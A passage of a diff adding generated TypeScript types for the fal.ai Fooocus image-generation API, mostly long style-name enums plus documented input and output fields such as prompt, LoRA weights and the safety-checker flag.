'MRE Heroic Fantasy': 'MRE Heroic Fantasy', + 'MRE Dark Cyberpunk': 'MRE Dark Cyberpunk', + 'MRE Lyrical Geometry': 'MRE Lyrical Geometry', + 'MRE Sumi E Symbolic': 'MRE Sumi E Symbolic', + 'MRE Sumi E Detailed': 'MRE Sumi E Detailed', + 'MRE Manga': 'MRE Manga', + 'MRE Anime': 'MRE Anime', + 'MRE Comic': 'MRE Comic', + 'Ads Advertising': 'Ads Advertising', + 'Ads Automotive': 'Ads Automotive', + 'Ads Corporate': 'Ads Corporate', + 'Ads Fashion Editorial': 'Ads Fashion Editorial', + 'Ads Food Photography': 'Ads Food Photography', + 'Ads Gourmet Food Photography': 'Ads Gourmet Food Photography', + 'Ads Luxury': 'Ads Luxury', + 'Ads Real Estate': 'Ads Real Estate', + 'Ads Retail': 'Ads Retail', + 'Artstyle Abstract': 'Artstyle Abstract', + 'Artstyle Abstract Expressionism': 'Artstyle Abstract Expressionism', + 'Artstyle Art Deco': 'Artstyle Art Deco', + 'Artstyle Art Nouveau': 'Artstyle Art Nouveau', + 'Artstyle Constructivist': 'Artstyle Constructivist', + 'Artstyle Cubist': 'Artstyle Cubist', + 'Artstyle Expressionist': 'Artstyle Expressionist', + 'Artstyle Graffiti': 'Artstyle Graffiti', + 'Artstyle Hyperrealism': 'Artstyle Hyperrealism', + 'Artstyle Impressionist': 'Artstyle Impressionist', + 'Artstyle Pointillism': 'Artstyle Pointillism', + 'Artstyle Pop Art': 'Artstyle Pop Art', + 'Artstyle Psychedelic': 'Artstyle Psychedelic', + 'Artstyle Renaissance': 'Artstyle Renaissance', + 'Artstyle Steampunk': 'Artstyle Steampunk', + 'Artstyle Surrealist': 'Artstyle Surrealist', + 'Artstyle Typography': 'Artstyle Typography', + 'Artstyle Watercolor': 'Artstyle Watercolor', + 'Futuristic Biomechanical': 'Futuristic Biomechanical', + 'Futuristic Biomechanical Cyberpunk': 'Futuristic Biomechanical Cyberpunk', + 'Futuristic Cybernetic': 'Futuristic Cybernetic', + 'Futuristic Cybernetic Robot': 'Futuristic Cybernetic Robot', + 'Futuristic Cyberpunk Cityscape': 'Futuristic Cyberpunk Cityscape', + 'Futuristic Futuristic': 'Futuristic Futuristic', + 'Futuristic Retro Cyberpunk': 'Futuristic Retro Cyberpunk', + 'Futuristic Retro Futurism': 'Futuristic Retro Futurism', + 'Futuristic Sci Fi': 'Futuristic Sci Fi', + 'Futuristic Vaporwave': 'Futuristic Vaporwave', + 'Game Bubble Bobble': 'Game Bubble Bobble', + 'Game Cyberpunk Game': 'Game Cyberpunk Game', + 'Game Fighting Game': 'Game Fighting Game', + 'Game Gta': 'Game Gta', + 'Game Mario': 'Game Mario', + 'Game Minecraft': 'Game Minecraft', + 'Game Pokemon': 'Game Pokemon', + 'Game Retro Arcade': 'Game Retro Arcade', + 'Game Retro Game': 'Game Retro Game', + 'Game Rpg Fantasy Game': 'Game Rpg Fantasy Game', + 'Game Strategy Game': 'Game Strategy Game', + 'Game Streetfighter': 'Game Streetfighter', + 'Game Zelda': 'Game Zelda', + 'Misc Architectural': 'Misc Architectural', + 'Misc Disco': 'Misc Disco', + 'Misc Dreamscape': 'Misc Dreamscape', + 'Misc Dystopian': 'Misc Dystopian', + 'Misc Fairy Tale': 'Misc Fairy Tale', + 'Misc Gothic': 'Misc Gothic', + 'Misc Grunge': 'Misc Grunge', + 'Misc Horror': 'Misc Horror', + 'Misc Kawaii': 'Misc Kawaii', + 'Misc Lovecraftian': 'Misc Lovecraftian', + 'Misc Macabre': 'Misc Macabre', + 'Misc Manga': 'Misc Manga', + 'Misc Metropolis': 'Misc Metropolis', + 'Misc Minimalist': 'Misc Minimalist', + 'Misc Monochrome': 'Misc Monochrome', + 'Misc Nautical': 'Misc Nautical', + 'Misc Space': 'Misc Space', + 'Misc Stained Glass': 'Misc Stained Glass', + 'Misc Techwear Fashion': 'Misc Techwear Fashion', + 'Misc Tribal': 'Misc Tribal', + 'Misc Zentangle': 'Misc Zentangle', + 'Papercraft Collage': 'Papercraft Collage', + 'Papercraft Flat Papercut': 'Papercraft Flat Papercut', + 'Papercraft Kirigami': 'Papercraft Kirigami', + 'Papercraft Paper Mache': 'Papercraft Paper Mache', + 'Papercraft Paper Quilling': 'Papercraft Paper Quilling', + 'Papercraft Papercut Collage': 'Papercraft Papercut Collage', + 'Papercraft Papercut Shadow Box': 'Papercraft Papercut Shadow Box', + 'Papercraft Stacked Papercut': 'Papercraft Stacked Papercut', + 'Papercraft Thick Layered Papercut': 'Papercraft Thick Layered Papercut', + 'Photo Alien': 'Photo Alien', + 'Photo Film Noir': 'Photo Film Noir', + 'Photo Glamour': 'Photo Glamour', + 'Photo Hdr': 'Photo Hdr', + 'Photo Iphone Photographic': 'Photo Iphone Photographic', + 'Photo Long Exposure': 'Photo Long Exposure', + 'Photo Neon Noir': 'Photo Neon Noir', + 'Photo Silhouette': 'Photo Silhouette', + 'Photo Tilt Shift': 'Photo Tilt Shift', + 'Cinematic Diva': 'Cinematic Diva', + 'Abstract Expressionism': 'Abstract Expressionism', + Academia: 'Academia', + 'Action Figure': 'Action Figure', + 'Adorable 3D Character': 'Adorable 3D Character', + 'Adorable Kawaii': 'Adorable Kawaii', + 'Art Deco': 'Art Deco', + 'Art Nouveau': 'Art Nouveau', + 'Astral Aura': 'Astral Aura', + 'Avant Garde': 'Avant Garde', + Baroque: 'Baroque', + 'Bauhaus Style Poster': 'Bauhaus Style Poster', + 'Blueprint Schematic Drawing': 'Blueprint Schematic Drawing', + Caricature: 'Caricature', + 'Cel Shaded Art': 'Cel Shaded Art', + 'Character Design Sheet': 'Character Design Sheet', + 'Classicism Art': 'Classicism Art', + 'Color Field Painting': 'Color Field Painting', + 'Colored Pencil Art': 'Colored Pencil Art', + 'Conceptual Art': 'Conceptual Art', + Constructivism: 'Constructivism', + Cubism: 'Cubism', + Dadaism: 'Dadaism', + 'Dark Fantasy': 'Dark Fantasy', + 'Dark Moody Atmosphere': 'Dark Moody Atmosphere', + 'Dmt Art Style': 'Dmt Art Style', + 'Doodle Art': 'Doodle Art', + 'Double Exposure': 'Double Exposure', + 'Dripping Paint Splatter Art': 'Dripping Paint Splatter Art', + Expressionism: 'Expressionism', + 'Faded Polaroid Photo': 'Faded Polaroid Photo', + Fauvism: 'Fauvism', + 'Flat 2d Art': 'Flat 2d Art', + 'Fortnite Art Style': 'Fortnite Art Style', + Futurism: 'Futurism', + Glitchcore: 'Glitchcore', + 'Glo Fi': 'Glo Fi', + 'Googie Art Style': 'Googie Art Style', + 'Graffiti Art': 'Graffiti Art', + 'Harlem Renaissance Art': 'Harlem Renaissance Art', + 'High Fashion': 'High Fashion', + Idyllic: 'Idyllic', + Impressionism: 'Impressionism', + 'Infographic Drawing': 'Infographic Drawing', + 'Ink Dripping Drawing': 'Ink Dripping Drawing', + 'Japanese Ink Drawing': 'Japanese Ink Drawing', + 'Knolling Photography': 'Knolling Photography', + 'Light Cheery Atmosphere': 'Light Cheery Atmosphere', + 'Logo Design': 'Logo Design', + 'Luxurious Elegance': 'Luxurious Elegance', + 'Macro Photography': 'Macro Photography', + 'Mandola Art': 'Mandola Art', + 'Marker Drawing': 'Marker Drawing', + Medievalism: 'Medievalism', + Minimalism: 'Minimalism', + 'Neo Baroque': 'Neo Baroque', + 'Neo Byzantine': 'Neo Byzantine', + 'Neo Futurism': 'Neo Futurism', + 'Neo Impressionism': 'Neo Impressionism', + 'Neo Rococo': 'Neo Rococo', + Neoclassicism: 'Neoclassicism', + 'Op Art': 'Op Art', + 'Ornate And Intricate': 'Ornate And Intricate', + 'Pencil Sketch Drawing': 'Pencil Sketch Drawing', + 'Pop Art 2': 'Pop Art 2', + Rococo: 'Rococo', + 'Silhouette Art': 'Silhouette Art', + 'Simple Vector Art': 'Simple Vector Art', + Sketchup: 'Sketchup', + 'Steampunk 2': 'Steampunk 2', + Surrealism: 'Surrealism', + Suprematism: 'Suprematism', + Terragen: 'Terragen', + 'Tranquil Relaxing Atmosphere': 'Tranquil Relaxing Atmosphere', + 'Sticker Designs': 'Sticker Designs', + 'Vibrant Rim Light': 'Vibrant Rim Light', + 'Volumetric Lighting': 'Volumetric Lighting', + 'Watercolor 2': 'Watercolor 2', + 'Whimsical And Playful': 'Whimsical And Playful', + 'Mk Chromolithography': 'Mk Chromolithography', + 'Mk Cross Processing Print': 'Mk Cross Processing Print', + 'Mk Dufaycolor Photograph': 'Mk Dufaycolor Photograph', + 'Mk Herbarium': 'Mk Herbarium', + 'Mk Punk Collage': 'Mk Punk Collage', + 'Mk Mosaic': 'Mk Mosaic', + 'Mk Van Gogh': 'Mk Van Gogh', + 'Mk Coloring Book': 'Mk Coloring Book', + 'Mk Singer Sargent': 'Mk Singer Sargent', + 'Mk Pollock': 'Mk Pollock', + 'Mk Basquiat': 'Mk Basquiat', + 'Mk Andy Warhol': 'Mk Andy Warhol', + 'Mk Halftone Print': 'Mk Halftone Print', + 'Mk Gond Painting': 'Mk Gond Painting', + 'Mk Albumen Print': 'Mk Albumen Print', + 'Mk Aquatint Print': 'Mk Aquatint Print', + 'Mk Anthotype Print': 'Mk Anthotype Print', + 'Mk Inuit Carving': 'Mk Inuit Carving', + 'Mk Bromoil Print': 'Mk Bromoil Print', + 'Mk Calotype Print': 'Mk Calotype Print', + 'Mk Color Sketchnote': 'Mk Color Sketchnote', + 'Mk Cibulak Porcelain': 'Mk Cibulak Porcelain', + 'Mk Alcohol Ink Art': 'Mk Alcohol Ink Art', + 'Mk One Line Art': 'Mk One Line Art', + 'Mk Blacklight Paint': 'Mk Blacklight Paint', + 'Mk Carnival Glass': 'Mk Carnival Glass', + 'Mk Cyanotype Print': 'Mk Cyanotype Print', + 'Mk Cross Stitching': 'Mk Cross Stitching', + 'Mk Encaustic Paint': 'Mk Encaustic Paint', + 'Mk Embroidery': 'Mk Embroidery', + 'Mk Gyotaku': 'Mk Gyotaku', + 'Mk Luminogram': 'Mk Luminogram', + 'Mk Lite Brite Art': 'Mk Lite Brite Art', + 'Mk Mokume Gane': 'Mk Mokume Gane', + 'Pebble Art': 'Pebble Art', + 'Mk Palekh': 'Mk Palekh', + 'Mk Suminagashi': 'Mk Suminagashi', + 'Mk Scrimshaw': 'Mk Scrimshaw', + 'Mk Shibori': 'Mk Shibori', + 'Mk Vitreous Enamel': 'Mk Vitreous Enamel', + 'Mk Ukiyo E': 'Mk Ukiyo E', + 'Mk Vintage Airline Poster': 'Mk Vintage Airline Poster', + 'Mk Vintage Travel Poster': 'Mk Vintage Travel Poster', + 'Mk Bauhaus Style': 'Mk Bauhaus Style', + 'Mk Afrofuturism': 'Mk Afrofuturism', + 'Mk Atompunk': 'Mk Atompunk', + 'Mk Constructivism': 'Mk Constructivism', + 'Mk Chicano Art': 'Mk Chicano Art', + 'Mk De Stijl': 'Mk De Stijl', + 'Mk Dayak Art': 'Mk Dayak Art', + 'Mk Fayum Portrait': 'Mk Fayum Portrait', + 'Mk Illuminated Manuscript': 'Mk Illuminated Manuscript', + 'Mk Kalighat Painting': 'Mk Kalighat Painting', + 'Mk Madhubani Painting': 'Mk Madhubani Painting', + 'Mk Pictorialism': 'Mk Pictorialism', + 'Mk Pichwai Painting': 'Mk Pichwai Painting', + 'Mk Patachitra Painting': 'Mk Patachitra Painting', + 'Mk Samoan Art Inspired': 'Mk Samoan Art Inspired', + 'Mk Tlingit Art': 'Mk Tlingit Art', + 'Mk Adnate Style': 'Mk Adnate Style', + 'Mk Ron English Style': 'Mk Ron English Style', + 'Mk Shepard Fairey Style': 'Mk Shepard Fairey Style', +} as const + +export type InputFalAiFooocusStylesEnumKey = + (typeof inputFalAiFooocusStylesEnum)[keyof typeof inputFalAiFooocusStylesEnum] + +export const inputFalAiFooocusRefinerModelEnum = { + None: 'None', + 'realisticVisionV60B1_v51VAE.safetensors': + 'realisticVisionV60B1_v51VAE.safetensors', +} as const + +export type InputFalAiFooocusRefinerModelEnumKey = + (typeof inputFalAiFooocusRefinerModelEnum)[keyof typeof inputFalAiFooocusRefinerModelEnum] + +export const inputFalAiFooocusPerformanceEnum = { + Speed: 'Speed', + Quality: 'Quality', + 'Extreme Speed': 'Extreme Speed', + Lightning: 'Lightning', +} as const + +export type InputFalAiFooocusPerformanceEnumKey = + (typeof inputFalAiFooocusPerformanceEnum)[keyof typeof inputFalAiFooocusPerformanceEnum] + +export const inputFalAiFooocusControlTypeEnum = { + ImagePrompt: 'ImagePrompt', + PyraCanny: 'PyraCanny', + CPDS: 'CPDS', + FaceSwap: 'FaceSwap', +} as const + +export type InputFalAiFooocusControlTypeEnumKey = + (typeof inputFalAiFooocusControlTypeEnum)[keyof typeof inputFalAiFooocusControlTypeEnum] + +export type InputFalAiFooocus = { + /** + * @description + * The size of the generated image. You can choose between some presets or + * custom height and width that **must be multiples of 8**. + * + * @default '1024x1024' + * @type string | undefined + */ + aspect_ratio?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 30 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The image to use as a reference for inpainting. + */ + inpaint_image_url?: string | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFooocusOutputFormatEnumKey + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example (worst quality, low quality, normal quality, lowres, low details, oversaturated, undersaturated, overexposed, underexposed, grayscale, bw, bad photo, bad photography, bad art:1.4), (watermark, signature, text font, username, error, logo, words, letters, digits, autograph, trademark, name:1.2), (blur, blurry, grainy), morbid, ugly, asymmetrical, mutated malformed, mutilated, poorly lit, bad shadow, draft, cropped, out of frame, cut off, censored, jpeg artifacts, out of focus, glitch, duplicate, (airbrushed, cartoon, anime, semi-realistic, cgi, render, blender, digital art, manga, amateur:1.3), (3D ,3D Game, 3D Game Scene, 3D Character:1.1), (bad hands, bad anatomy, bad body, bad face, bad teeth, bad arms, bad legs, deformities:1.3) + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The style to use. + * + * @default ["Fooocus V2","Fooocus Sharp","Fooocus Enhance"] + * @type array | undefined + */ + styles?: InputFalAiFooocusStylesEnumKey[] + /** + * @description + * The LoRAs to use for the image generation. You can use up to 5 LoRAs + * and they will be merged together to generate the final image. + * + * @default [{"path":"https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors","scale":0.1}] + * @type array | undefined + */ + loras?: LoraWeight7Aab8269[] + /** + * @description + * The sharpness of the generated image. Use it to control how sharp the generated + * image should be. Higher value means image and texture are sharper. + * + * @minimum 0 + * @maximum 30 + * @default 2 + * @type number | undefined + */ + sharpness?: number + /** + * @default false + * @type boolean | undefined + */ + mixing_image_prompt_and_inpaint?: boolean + /** + * @description Refiner (SDXL or SD 1.5) + * @default 'None' + * @type string | undefined + */ + refiner_model?: InputFalAiFooocusRefinerModelEnumKey + /** + * @description + * Number of images to generate in one request + * + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The strength of the control image. Use it to control how much the generated image + * should look like the control image. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + control_image_weight?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @default '' + * @example an astronaut in the jungle, cold color palette with butterflies in the background, highly detailed, 8k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The image to use as a mask for the generated image. + */ + mask_image_url?: string | null + /** + * @description + * Use 0.4 for SD1.5 realistic models; 0.667 for SD1.5 anime models + * 0.8 for XL-refiners; or any value for switching two SDXL models. + * + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + refiner_switch?: number + /** + * @description The image to use as a reference for the generated image. + */ + control_image_url?: string | null + /** + * @description + * You can choose Speed or Quality + * + * @default 'Extreme Speed' + * @type string | undefined + */ + performance?: InputFalAiFooocusPerformanceEnumKey + /** + * @description + * The stop at value of the control image. Use it to control how much the generated image + * should look like the control image. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + control_image_stop_at?: number + /** + * @description If set to false, the safety checker will be disabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The type of image control + * @default 'PyraCanny' + * @example ImagePrompt + * @example PyraCanny + * @example CPDS + * @example FaceSwap + * @type string | undefined + */ + control_type?: InputFalAiFooocusControlTypeEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 176400 + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image08D38A2D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiFooocus = { + /** + * @description The generated image file info. + * @type array + */ + images: Image08D38A2D[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The time taken for the generation process. + * @type object + */ + timings: { + [key: string]: number + } +} + +export const imagePromptTypeEnum = { + ImagePrompt: 'ImagePrompt', + PyraCanny: 'PyraCanny', + CPDS: 'CPDS', + FaceSwap: 'FaceSwap', +} as const + +export type ImagePromptTypeEnumKey = + (typeof imagePromptTypeEnum)[keyof typeof imagePromptTypeEnum] + +export type ImagePrompt = { + /** + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + weight?: number + /** + * @default 'ImagePrompt' + * @type string | undefined + */ + type?: ImagePromptTypeEnumKey + /** + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stop_at?: number + image_url?: string | null +} + +export type LoraWeight2610393C = { + /** + * @description URL or the path to the LoRA weights. + * @example https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFooocusImagePromptPerformanceEnum = { + Speed: 'Speed', + Quality: 'Quality', + 'Extreme Speed': 'Extreme Speed', + Lightning: 'Lightning', +} as const + +export type InputFalAiFooocusImagePromptPerformanceEnumKey = + (typeof inputFalAiFooocusImagePromptPerformanceEnum)[keyof typeof inputFalAiFooocusImagePromptPerformanceEnum] + +export const inputFalAiFooocusImagePromptOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFooocusImagePromptOutputFormatEnumKey = + (typeof inputFalAiFooocusImagePromptOutputFormatEnum)[keyof typeof inputFalAiFooocusImagePromptOutputFormatEnum] + +export const inputFalAiFooocusImagePromptStylesEnum = { + 'Fooocus V2': 'Fooocus V2', + 'Fooocus Enhance': 'Fooocus Enhance', + 'Fooocus Sharp': 'Fooocus Sharp', + 'Fooocus Semi Realistic': 'Fooocus Semi Realistic', + 'Fooocus Masterpiece': 'Fooocus Masterpiece', + 'Fooocus Photograph': 'Fooocus Photograph', + 'Fooocus Negative': 'Fooocus Negative', + 'Fooocus Cinematic': 'Fooocus Cinematic', + 'SAI 3D Model': 'SAI 3D Model', + 'SAI Analog Film': 'SAI Analog Film', + 'SAI Anime': 'SAI Anime', + 'SAI Cinematic': 'SAI Cinematic', + 'SAI Comic Book': 'SAI Comic Book', + 'SAI Craft Clay': 'SAI Craft Clay', + 'SAI Digital Art': 'SAI Digital Art', + 'SAI Enhance': 'SAI Enhance', + 'SAI Fantasy Art': 'SAI Fantasy Art', + 'SAI Isometric': 'SAI Isometric', + 'SAI Line Art': 'SAI Line Art', + 'SAI Lowpoly': 'SAI Lowpoly', + 'SAI Neonpunk': 'SAI Neonpunk', + 'SAI Origami': 'SAI Origami', + 'SAI Photographic': 'SAI Photographic', + 'SAI Pixel Art': 'SAI Pixel Art', + 'SAI Texture': 'SAI Texture', + 'MRE Cinematic Dynamic': 'MRE Cinematic Dynamic', + 'MRE Spontaneous Picture': 'MRE Spontaneous Picture', + 'MRE Artistic Vision': 'MRE Artistic Vision', + 'MRE Dark Dream': 'MRE Dark Dream', + 'MRE Gloomy Art': 'MRE Gloomy Art', + 'MRE Bad Dream': 'MRE Bad Dream', + 'MRE Underground': 'MRE Underground', + 'MRE Surreal Painting': 'MRE Surreal Painting', + 'MRE Dynamic Illustration': 'MRE Dynamic Illustration', + 'MRE Undead Art': 'MRE Undead Art', + 'MRE Elemental Art': 'MRE Elemental Art', + 'MRE Space Art': 'MRE Space Art', + 'MRE Ancient Illustration': 'MRE Ancient Illustration', + 'MRE Brave Art': 'MRE Brave Art', + 'MRE Heroic Fantasy': 'MRE Heroic Fantasy', + 'MRE Dark Cyberpunk': 'MRE Dark Cyberpunk', + 'MRE Lyrical Geometry': 'MRE Lyrical Geometry', + 'MRE Sumi E Symbolic': 'MRE Sumi E Symbolic', + 'MRE Sumi E Detailed': 'MRE Sumi E Detailed', + 'MRE Manga': 'MRE Manga', + 'MRE Anime': 'MRE Anime', + 'MRE Comic': 'MRE Comic', + 'Ads Advertising': 'Ads Advertising', + 'Ads Automotive': 'Ads Automotive', + 'Ads Corporate': 'Ads Corporate', + 'Ads Fashion Editorial': 'Ads Fashion Editorial', + 'Ads Food Photography': 'Ads Food Photography', + 'Ads Gourmet Food Photography': 'Ads Gourmet Food Photography', + 'Ads Luxury': 'Ads Luxury', + 'Ads Real Estate': 'Ads Real Estate', + 'Ads Retail': 'Ads Retail', + 'Artstyle Abstract': 'Artstyle Abstract', + 'Artstyle Abstract Expressionism': 'Artstyle Abstract Expressionism', + 'Artstyle Art Deco': 'Artstyle Art Deco', + 'Artstyle Art Nouveau': 'Artstyle Art Nouveau', + 'Artstyle Constructivist': 'Artstyle Constructivist', + 'Artstyle Cubist': 'Artstyle Cubist', + 'Artstyle Expressionist': 'Artstyle Expressionist', + 'Artstyle Graffiti': 'Artstyle Graffiti', + 'Artstyle Hyperrealism': 'Artstyle Hyperrealism', + 'Artstyle Impressionist': 'Artstyle Impressionist', + 'Artstyle Pointillism': 'Artstyle Pointillism', + 'Artstyle Pop Art': 'Artstyle Pop Art', + 'Artstyle Psychedelic': 'Artstyle Psychedelic', + 'Artstyle Renaissance': 'Artstyle Renaissance', + 'Artstyle Steampunk': 'Artstyle Steampunk', + 'Artstyle Surrealist': 'Artstyle Surrealist', + 'Artstyle Typography': 'Artstyle Typography', + 'Artstyle Watercolor': 'Artstyle Watercolor', + 'Futuristic Biomechanical': 'Futuristic Biomechanical', + 'Futuristic Biomechanical Cyberpunk': 'Futuristic Biomechanical Cyberpunk', + 'Futuristic Cybernetic': 'Futuristic Cybernetic', + 'Futuristic Cybernetic Robot': 'Futuristic Cybernetic Robot', + 'Futuristic Cyberpunk Cityscape': 'Futuristic Cyberpunk Cityscape', + 'Futuristic Futuristic': 'Futuristic Futuristic', + 'Futuristic Retro Cyberpunk': 'Futuristic Retro Cyberpunk', + 'Futuristic Retro Futurism': 'Futuristic Retro Futurism', + 'Futuristic Sci Fi': 'Futuristic Sci Fi', + 'Futuristic Vaporwave': 'Futuristic Vaporwave', + 'Game Bubble Bobble': 'Game Bubble Bobble', + 'Game Cyberpunk Game': 'Game Cyberpunk Game', + 'Game Fighting Game': 'Game Fighting Game', + 'Game Gta': 'Game Gta', + 'Game Mario': 'Game Mario', + 'Game Minecraft': 'Game Minecraft', + 'Game Pokemon': 'Game Pokemon', + 'Game Retro Arcade': 'Game Retro Arcade', + 'Game Retro Game': 'Game Retro Game', + 'Game Rpg Fantasy Game': 'Game Rpg Fantasy Game', + 'Game Strategy Game': 'Game Strategy Game', + 'Game Streetfighter': 'Game Streetfighter', + 'Game Zelda': 'Game Zelda', + 'Misc Architectural': 'Misc Architectural', + 'Misc Disco': 'Misc Disco', + 'Misc Dreamscape': 'Misc Dreamscape', + 'Misc Dystopian': 'Misc Dystopian', + 'Misc Fairy Tale': 'Misc Fairy Tale', + 'Misc Gothic': 'Misc Gothic', + 'Misc Grunge': 'Misc Grunge', + 'Misc Horror': 'Misc Horror', + 'Misc Kawaii': 'Misc Kawaii', + 'Misc Lovecraftian': 'Misc Lovecraftian', + 'Misc Macabre': 'Misc Macabre', + 'Misc Manga': 'Misc Manga', + 'Misc Metropolis': 'Misc Metropolis', + 'Misc Minimalist': 'Misc Minimalist', + 'Misc Monochrome': 'Misc Monochrome', + 'Misc Nautical': 'Misc Nautical', + 'Misc Space': 'Misc Space', + 'Misc Stained Glass': 'Misc Stained Glass', + 'Misc Techwear Fashion': 'Misc Techwear Fashion', + 'Misc Tribal': 'Misc Tribal', + 'Misc Zentangle': 'Misc Zentangle', + 'Papercraft Collage': 'Papercraft Collage', + 'Papercraft Flat Papercut': 'Papercraft Flat Papercut', + 'Papercraft Kirigami': 'Papercraft Kirigami', + 'Papercraft Paper Mache': 'Papercraft Paper Mache', + 'Papercraft Paper Quilling': 'Papercraft Paper Quilling', + 'Papercraft Papercut Collage': 'Papercraft Papercut Collage', + 'Papercraft Papercut Shadow Box': 'Papercraft Papercut Shadow Box', + 'Papercraft Stacked Papercut': 'Papercraft Stacked Papercut', + 'Papercraft Thick Layered Papercut': 'Papercraft Thick Layered Papercut', + 'Photo Alien': 'Photo Alien', + 'Photo Film Noir': 'Photo Film Noir', + 'Photo Glamour': 'Photo Glamour', + 'Photo Hdr': 'Photo Hdr', + 'Photo Iphone Photographic': 'Photo Iphone Photographic', + 'Photo Long Exposure': 'Photo Long Exposure', + 'Photo Neon Noir': 'Photo Neon Noir', + 'Photo Silhouette': 'Photo Silhouette', + 'Photo Tilt Shift': 'Photo Tilt Shift', + 'Cinematic Diva': 'Cinematic Diva', + 'Abstract Expressionism': 'Abstract Expressionism', + Academia: 'Academia', + 'Action Figure': 'Action Figure', + 'Adorable 3D Character': 'Adorable 3D Character', + 'Adorable Kawaii': 'Adorable Kawaii', + 'Art Deco': 'Art Deco', + 'Art Nouveau': 'Art Nouveau', + 'Astral Aura': 'Astral Aura', + 'Avant Garde': 'Avant Garde', + Baroque: 'Baroque', + 'Bauhaus Style Poster': 'Bauhaus Style Poster', + 'Blueprint Schematic Drawing': 'Blueprint Schematic Drawing', + Caricature: 'Caricature', + 'Cel Shaded Art': 'Cel Shaded Art', + 'Character Design Sheet': 'Character Design Sheet', + 'Classicism Art': 'Classicism Art', + 'Color Field Painting': 'Color Field Painting', + 'Colored Pencil Art': 'Colored Pencil Art', + 'Conceptual Art': 'Conceptual Art', + Constructivism: 'Constructivism', + Cubism: 'Cubism', + Dadaism: 'Dadaism', + 'Dark Fantasy': 'Dark Fantasy', + 'Dark Moody Atmosphere': 'Dark Moody Atmosphere', + 'Dmt Art Style': 'Dmt Art Style', + 'Doodle Art': 'Doodle Art', + 'Double Exposure': 'Double Exposure', + 'Dripping Paint Splatter Art': 'Dripping Paint Splatter Art', + Expressionism: 'Expressionism', + 'Faded Polaroid Photo': 'Faded Polaroid Photo', + Fauvism: 'Fauvism', + 'Flat 2d Art': 'Flat 2d Art', + 'Fortnite Art Style': 'Fortnite Art Style', + Futurism: 'Futurism', + Glitchcore: 'Glitchcore', + 'Glo Fi': 'Glo Fi', + 'Googie Art Style': 'Googie Art Style', + 'Graffiti Art': 'Graffiti Art', + 'Harlem Renaissance Art': 'Harlem Renaissance Art', + 'High Fashion': 'High Fashion', + Idyllic: 'Idyllic', + Impressionism: 'Impressionism', + 'Infographic Drawing': 'Infographic Drawing', + 'Ink Dripping Drawing': 'Ink Dripping Drawing', + 'Japanese Ink Drawing': 'Japanese Ink Drawing', + 'Knolling Photography': 'Knolling Photography', + 'Light Cheery Atmosphere': 'Light Cheery Atmosphere', + 'Logo Design': 'Logo Design', + 'Luxurious Elegance': 'Luxurious Elegance', + 'Macro Photography': 'Macro Photography', + 'Mandola Art': 'Mandola Art', + 'Marker Drawing': 'Marker Drawing', + Medievalism: 'Medievalism', + Minimalism: 'Minimalism', + 'Neo Baroque': 'Neo Baroque', + 'Neo Byzantine': 'Neo Byzantine', + 'Neo Futurism': 'Neo Futurism', + 'Neo Impressionism': 'Neo Impressionism', + 'Neo Rococo': 'Neo Rococo', + Neoclassicism: 'Neoclassicism', + 'Op Art': 'Op Art', + 'Ornate And Intricate': 'Ornate And Intricate', + 'Pencil Sketch Drawing': 'Pencil Sketch Drawing', + 'Pop Art 2': 'Pop Art 2', + Rococo: 'Rococo', + 'Silhouette Art': 'Silhouette Art', + 'Simple Vector Art': 'Simple Vector Art', + Sketchup: 'Sketchup', + 'Steampunk 2': 'Steampunk 2', + Surrealism: 'Surrealism', + Suprematism: 'Suprematism', + Terragen: 'Terragen', + 'Tranquil Relaxing Atmosphere': 'Tranquil Relaxing Atmosphere', + 'Sticker Designs': 'Sticker Designs', + 'Vibrant Rim Light': 'Vibrant Rim Light', + 'Volumetric Lighting': 'Volumetric Lighting', + 'Watercolor 2': 'Watercolor 2', + 'Whimsical And Playful': 'Whimsical And Playful', + 'Mk Chromolithography': 'Mk Chromolithography', + 